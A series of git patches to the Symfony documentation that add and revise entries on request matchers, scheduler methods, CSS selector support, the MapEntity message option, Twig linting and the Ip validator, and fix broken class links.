From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 5 Feb 2024 09:53:16 +0100
Subject: [PATCH 4415/5766] [HttpFoundation] Mention Request Matchers

---
 components/http_foundation.rst | 42 ++++++++++++++++++++++++++++++++++
 1 file changed, 42 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 04a0c2d794d..97797d8df6d 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -396,6 +396,48 @@ use the ``isPrivateIp()`` method from the
 
     The ``isPrivateIp()`` method was introduced in Symfony 6.3.
 
+Matching a Request Against a Set Rules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to match a request against a set of rules, you can use
+request matchers. The HttpFoundation component provides many matchers
+to be used:
+
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
+
+You can either use them directly or combine them using the
+:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
+class::
+
+    use Symfony\Component\HttpFoundation\ChainRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\HostRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\PathRequestMatcher;
+    use Symfony\Component\HttpFoundation\RequestMatcher\SchemeRequestMatcher;
+
+    // use only one criteria to match the request
+    $schemeMatcher = new SchemeRequestMatcher('https');
+    if ($schemeMatcher->matches($request)) {
+        // ...
+    }
+
+    // use a set of criteria to match the request
+    $matcher = new ChainRequestMatcher([
+        new HostRequestMatcher('example.com'),
+        new PathRequestMatcher('/admin'),
+    ]);
+
+    if ($matcher->matches($request)) {
+        // ...
+    }
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 2cf1de8e1935f3133e634e65c697c68467256446 Mon Sep 17 00:00:00 2001
From: Matthias Krauser <matthias@krauser.eu>
Date: Mon, 5 Feb 2024 10:08:57 +0100
Subject: [PATCH 4416/5766] #19510 in symfony 6.3 there was no
 Schedule::with(...), but Schedule::add(...)

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index f37568fd4dd..db48ee2c5aa 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -318,7 +318,7 @@ Finally, the recurring messages has to be attached to a schedule::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     RecurringMessage::trigger(
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
@@ -404,7 +404,7 @@ a worker is restarted, it resumes from the point it left off::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     // ...
                 )
                 ->stateful($this->cache)
@@ -426,7 +426,7 @@ same task more than once::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     // ...
                 )
                 ->lock($this->lockFactory->createLock('my-lock')
@@ -453,7 +453,7 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->with(
+                ->add(
                     RecurringMessage::every('5 seconds'),
                     new RedispatchMessage(new Message(), 'async')
                 );

From f61c919fdf937f1827489a7c6d5e7fcac108db42 Mon Sep 17 00:00:00 2001
From: "hubert.lenoir" <hubert.lenoir@sensiolabs.com>
Date: Wed, 28 Dec 2022 13:39:22 +0100
Subject: [PATCH 4417/5766] [CssSelector] add support for :is() and :where()

---
 components/css_selector.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index c09f80a3cf4..1331a11e616 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -92,7 +92,11 @@ Pseudo-classes are partially supported:
 * Not supported: ``*:first-of-type``, ``*:last-of-type``, ``*:nth-of-type`` and
   ``*:nth-last-of-type`` (all these work with an element name (e.g.
   ``li:first-of-type``) but not with the ``*`` selector).
-* Supported: ``*:only-of-type``, ``*:scope``.
+* Supported: ``*:only-of-type``, ``*:scope``, ``*:is`` and ``*:where``.
+
+.. versionadded:: 7.1
+
+    The support for ``*:is`` and ``*:where`` was introduced in Symfony 7.1.
 
 Learn more
 ----------

From 389da7522b20e37099286703a2bea403c1d15834 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 10:39:15 +0100
Subject: [PATCH 4418/5766] [Scheduler] Update the name of a method

---
 scheduler.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 70f73bd59eb..557e4fc68cb 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -354,7 +354,7 @@ Finally, the recurring messages has to be attached to a schedule::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     RecurringMessage::trigger(
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
@@ -859,7 +859,7 @@ This allows the system to retain the state of the schedule, ensuring that when a
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     // ...
                 )
                 ->stateful($this->cache)
@@ -881,7 +881,7 @@ same task more than once::
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     // ...
                 )
                 ->lock($this->lockFactory->createLock('my-lock')
@@ -908,7 +908,7 @@ before being further redispatched to its corresponding handler::
         public function getSchedule(): Schedule
         {
             return $this->schedule ??= (new Schedule())
-                ->add(
+                ->with(
                     RecurringMessage::every('5 seconds'),
                     new RedispatchMessage(new Message(), 'async')
                 );

From 017d7a03d8271b7b1bd1e8ea4f5fe662569f26c5 Mon Sep 17 00:00:00 2001
From: Matthias Krauser <matthias@krauser.eu>
Date: Mon, 5 Feb 2024 10:16:38 +0100
Subject: [PATCH 4419/5766] [Scheduler] fixed small typo in RecurringMessage
 Codeblock

---
 scheduler.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index db48ee2c5aa..811e5706505 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -454,8 +454,7 @@ before being further redispatched to its corresponding handler::
         {
             return $this->schedule ??= (new Schedule())
                 ->add(
-                    RecurringMessage::every('5 seconds'),
-                    new RedispatchMessage(new Message(), 'async')
+                    RecurringMessage::every('5 seconds', new RedispatchMessage(new Message(), 'async'))
                 );
         }
     }

From a9b1372fcd8879504da348cae91c8c9dd454fec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 11:59:19 +0100
Subject: [PATCH 4420/5766] Tweaks

---
 components/http_foundation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 97797d8df6d..f7dc03fab68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -396,12 +396,12 @@ use the ``isPrivateIp()`` method from the
 
     The ``isPrivateIp()`` method was introduced in Symfony 6.3.
 
-Matching a Request Against a Set Rules
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Matching a Request Against a Set of Rules
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you need to match a request against a set of rules, you can use
-request matchers. The HttpFoundation component provides many matchers
-to be used:
+The HttpFoundation component provides some matcher classes that allow you to
+check if a given request meets certain conditions (e.g. it comes from some IP
+address, it uses a certain HTTP method, etc.):
 
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
@@ -413,7 +413,7 @@ to be used:
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
-You can either use them directly or combine them using the
+You can use them individually or combine them using the
 :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
 class::
 

From 41bea4ef40b243db07c8d462e448fc9c679cf43e Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Fri, 2 Feb 2024 19:09:24 +0100
Subject: [PATCH 4421/5766] Add message to #[MapEntity] for
 NotFoundHttpException

---
 doctrine.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index e4be23664d3..01bd2e0aff7 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -820,6 +820,21 @@ control behavior:
 ``disabled``
     If true, the ``EntityValueResolver`` will not try to replace the argument.
 
+``message``
+    If a ``message`` option is configured, the value of the ``message`` option will be displayed in the development
+    environment for the :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException` exception::
+
+        #[Route('/product/{product_id}')]
+        public function show(
+            #[MapEntity(id: 'product_id', message: 'The product does not exist')]
+            Product $product
+        ): Response {
+        }
+
+.. versionadded:: 7.1
+
+    The ``message`` option was introduced in Symfony 7.1.
+
 Updating an Object
 ------------------
 

From 71c5335e821e028bd79448c342c0dc4a983a8486 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 12:56:11 +0100
Subject: [PATCH 4422/5766] Minor tweaks

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 01bd2e0aff7..96239723d7e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -821,8 +821,8 @@ control behavior:
     If true, the ``EntityValueResolver`` will not try to replace the argument.
 
 ``message``
-    If a ``message`` option is configured, the value of the ``message`` option will be displayed in the development
-    environment for the :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException` exception::
+    An optional custom message displayed when there's a :class:`Symfony\\Component\\HttpKernel\\Exception\\NotFoundHttpException`,
+    but **only in the development environment** (you won't see this message in production)::
 
         #[Route('/product/{product_id}')]
         public function show(

From 9fddcaf033423b25ce7deb32768de0b9d87cdccc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 12:59:58 +0100
Subject: [PATCH 4423/5766] [HttpFoundation] Mention `HeaderRequestMatcher` and
 `QueryParameterRequestMatcher`

---
 components/http_foundation.rst | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cd52464420f..4ecc36f4fba 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -388,17 +388,19 @@ address, it uses a certain HTTP method, etc.):
 
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\AttributesRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HeaderRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\QueryParameterRequestMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
 You can use them individually or combine them using the
-:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher`
-class::
+:class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` class::
 
     use Symfony\Component\HttpFoundation\ChainRequestMatcher;
     use Symfony\Component\HttpFoundation\RequestMatcher\HostRequestMatcher;
@@ -421,6 +423,11 @@ class::
         // ...
     }
 
+.. versionadded:: 7.1
+
+    The ``HeaderRequestMatcher`` and ``QueryParameterRequestMatcher`` were
+    introduced in Symfony 7.1.
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 4f75745ddfcba84bd3fbc7e41da181ca7950be5d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 5 Feb 2024 08:35:06 +0100
Subject: [PATCH 4424/5766] Document `twig:lint` new option `excludes`

---
 templates.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/templates.rst b/templates.rst
index 7b6bb1ce68a..2abbf8053cc 100644
--- a/templates.rst
+++ b/templates.rst
@@ -818,6 +818,13 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+    # you can also excludes directories
+    $ php bin/console lint:twig templates/ --excludes=data_collector --excludes=dev_tool
+
+.. versionadded:: 7.1
+
+    The option to exclude directories was introduced in Symfony 7.1.
+
 When running the linter inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 

From e416647d882bfbe79a72b1c5e5cefd44462139b4 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 19:38:05 +0100
Subject: [PATCH 4425/5766] [HttpFoundation] Fix IpsRequestMatcher reference

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f7dc03fab68..fc53550be2a 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -407,7 +407,7 @@ address, it uses a certain HTTP method, etc.):
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\ExpressionRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\HostRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IpsRequestMatcher`
-* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonMatcher`
+* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\IsJsonRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\MethodRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PathRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`

From 6144627161d4482330a5ccff46759d40325a8c86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Feb 2024 09:28:06 +0100
Subject: [PATCH 4426/5766] [Validator] Reword the list of options for the
 version option of the Ip constraint

---
 reference/constraints/Ip.rst | 80 +++++++-----------------------------
 1 file changed, 15 insertions(+), 65 deletions(-)

diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 9168d463f77..20cd4400c0a 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -104,71 +104,21 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``4``
 
-This determines exactly *how* the IP address is validated and can take one
-of a variety of different values:
-
-**All ranges**
-
-``4``
-    Validates for IPv4 addresses
-``6``
-    Validates for IPv6 addresses
-``all``
-    Validates all IP formats
-
-**No private ranges**
-
-``4_no_priv``
-    Validates for IPv4 but without private IP ranges
-``6_no_priv``
-    Validates for IPv6 but without private IP ranges
-``all_no_priv``
-    Validates for all IP formats but without private IP ranges
-
-**No reserved ranges**
-
-``4_no_res``
-    Validates for IPv4 but without reserved IP ranges
-``6_no_res``
-    Validates for IPv6 but without reserved IP ranges
-``all_no_res``
-    Validates for all IP formats but without reserved IP ranges
-
-**No public ranges**
-
-``4_no_public``
-    Validates for IPv4 but without public IP ranges
-``6_no_public``
-    Validates for IPv6 but without public IP ranges
-``all_no_public``
-    Validates for all IP formats but without public IP range
-
-**Only private ranges**
-
-``4_private``
-    Validates for IPv4 but without public and reserved ranges
-``6_private``
-    Validates for IPv6 but without public and reserved ranges
-``all_private``
-    Validates for all IP formats but without public and reserved ranges
-
-**Only reserved ranges**
-
-``4_reserved``
-    Validates for IPv4 but without private and public ranges
-``6_reserved``
-    Validates for IPv6 but without private and public ranges
-``all_reserved``
-    Validates for all IP formats but without private and public ranges
-
-**Only public ranges**
-
-``4_public``
-    Validates for IPv4 but without private and reserved ranges
-``6_public``
-    Validates for IPv6 but without private and reserved ranges
-``all_public``
-    Validates for all IP formats but without private and reserved ranges
+This determines exactly *how* the IP address is validated. This option defines a
+lot of different possible values based on the ranges and the type of IP address
+that you want to allow/deny:
+
+====================  ===================  ===================  ==================
+Ranges Allowed        IPv4 addresses only  IPv6 addresses only  Both IPv4 and IPv6
+====================  ===================  ===================  ==================
+All                   ``4``                ``6``                ``all``
+All except private    ``4_no_priv``        ``6_no_priv``        ``all_no_priv``
+All except reserved   ``4_no_res``         ``6_no_res``         ``all_no_res``
+All except public     ``4_no_public``      ``6_no_public``      ``all_no_public``
+Only private          ``4_private``        ``6_private``        ``all_private``
+Only reserved         ``4_reserved``       ``6_reserved``       ``all_reserved``
+Only public           ``4_public``         ``6_public``         ``all_public``
+====================  ===================  ===================  ==================
 
 .. versionadded:: 7.1
 

From c9487e344a28e40411fdd40a47c4c7ab113d5b4b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 20:34:01 +0100
Subject: [PATCH 4427/5766] Fix broken class links

---
 components/cache/adapters/pdo_adapter.rst |  2 +-
 components/runtime.rst                    |  2 +-
 components/validator/resources.rst        |  2 +-
 controller/argument_value_resolver.rst    |  6 ++---
 reference/constraints/Negative.rst        |  2 +-
 reference/constraints/NegativeOrZero.rst  |  2 +-
 reference/dic_tags.rst                    |  4 +--
 templates.rst                             | 33 ++++++++++++-----------
 8 files changed, 27 insertions(+), 26 deletions(-)

diff --git a/components/cache/adapters/pdo_adapter.rst b/components/cache/adapters/pdo_adapter.rst
index 34815a51eb0..9cfbfd7bdfa 100644
--- a/components/cache/adapters/pdo_adapter.rst
+++ b/components/cache/adapters/pdo_adapter.rst
@@ -41,7 +41,7 @@ your code.
 .. deprecated:: 5.4
 
     Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
+    ``Doctrine\DBAL\Connection`` or a DBAL URL is deprecated since Symfony 5.4
     and will be removed in Symfony 6.0.
     Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
 
diff --git a/components/runtime.rst b/components/runtime.rst
index bc2fe81e726..df08c36251f 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -139,7 +139,7 @@ The following arguments are supported by the ``SymfonyRuntime``:
 :class:`Symfony\\Component\\Console\\Application`
     An application for creating CLI applications.
 
-:class:`Symfony\\Component\\Command\\Command`
+:class:`Symfony\\Component\\Console\\Command\\Command`
     For creating one line command CLI applications (using
     ``Command::setCode()``).
 
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 0eb5bc71e86..4baf4fbdd65 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -148,7 +148,7 @@ instance.
 
 To solve this problem, call the :method:`Symfony\\Component\\Validator\\ValidatorBuilder::setMappingCache`
 method of the Validator builder and pass your own caching class (which must
-implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
+implement the PSR-6 interface ``Psr\Cache\CacheItemPoolInterface``)::
 
     use Symfony\Component\Validator\Validation;
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index eb100c258f0..1cddcede0bf 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -53,8 +53,8 @@ In addition, some components and official bundles provide other value resolvers:
 
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
-    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
-    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    of type ``Psr\Http\Message\ServerRequestInterface``,
+    ``Psr\Http\Message\RequestInterface`` or ``Psr\Http\Message\MessageInterface``.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
@@ -250,7 +250,7 @@ To ensure your resolvers are added in the right position you can run the followi
 command to see which argument resolvers are present and in which order they run.
 
 .. code-block:: terminal
-    
+
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
 
 .. tip::
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index c77d0586cbf..fa00910e790 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -8,7 +8,7 @@ want to allow zero as value.
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanValidator`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
 Basic Usage
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 0aead7184e3..e356a21d20f 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -7,7 +7,7 @@ want to allow zero as value, use :doc:`/reference/constraints/Negative` instead.
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
-Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LesserThanOrEqualValidator`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
 Basic Usage
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 96b4d2d77fa..16480b3fb3c 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1339,8 +1339,7 @@ twig.loader
 
 **Purpose**: Register a custom service that loads Twig templates
 
-By default, Symfony uses only one `Twig Loader`_ -
-:class:`Symfony\\Bundle\\TwigBundle\\Loader\\FilesystemLoader`. If you need
+By default, Symfony uses only one `Twig Loader`_ - `FilesystemLoader`_. If you need
 to load Twig templates from another resource, you can create a service for
 the new loader and tag it with ``twig.loader``.
 
@@ -1457,6 +1456,7 @@ Then, tag it with the ``validator.initializer`` tag (it has no options).
 For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
+.. _`FilesystemLoader`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/templates.rst b/templates.rst
index 47071654f54..1ff0ab1d44f 100644
--- a/templates.rst
+++ b/templates.rst
@@ -592,7 +592,7 @@ Rendering a Template in Services
 Inject the ``twig`` Symfony service into your own services and use its
 ``render()`` method. When using :doc:`service autowiring </service_container/autowiring>`
 you only need to add an argument in the service constructor and type-hint it with
-the :class:`Twig\\Environment` class::
+the `Twig Environment`_::
 
     // src/Service/SomeService.php
     namespace App\Service;
@@ -1582,23 +1582,24 @@ If you're using the default ``services.yaml`` configuration, this will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>`
 for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
-.. _`Twig`: https://twig.symfony.com
-.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html
 .. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html
-.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html
-.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
-.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
-.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
-.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
-.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
-.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
-.. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
-.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
-.. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
 .. _`hinclude.js`: https://mnot.github.io/hinclude/
+.. _`official Twig extensions`: https://github.com/twigphp?q=extra
+.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
+.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
+.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
+.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
+.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
+.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
+.. _`Twig`: https://twig.symfony.com
+.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html

From aefde3c393007dfc4c903f6efc0806cefad093ba Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 20:49:39 +0100
Subject: [PATCH 4428/5766] Remove SchemeRequestMatcher duplication

---
 components/http_foundation.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ee88fb14595..06d59f78cae 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -397,7 +397,6 @@ address, it uses a certain HTTP method, etc.):
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\QueryParameterRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
-* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
 You can use them individually or combine them using the
 :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` class::

From 0e03673ac31503aced6df4e42d6f45b4807133d8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 6 Feb 2024 10:27:22 +0100
Subject: [PATCH 4429/5766] [HttpFoundation] Add support for
 `\SplTempFileObject` in `BinaryFileResponse`

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 06d59f78cae..b08aeb8380b 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -841,6 +841,23 @@ It is possible to delete the file after the response is sent with the
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::deleteFileAfterSend` method.
 Please note that this will not work when the ``X-Sendfile`` header is set.
 
+Alternatively, ``BinaryFileResponse`` supports instances of ``\SplTempFileObject``.
+This is useful when you want to serve a file that has been created in memory
+and that will be automatically deleted after the response is sent::
+
+    use Symfony\Component\HttpFoundation\BinaryFileResponse;
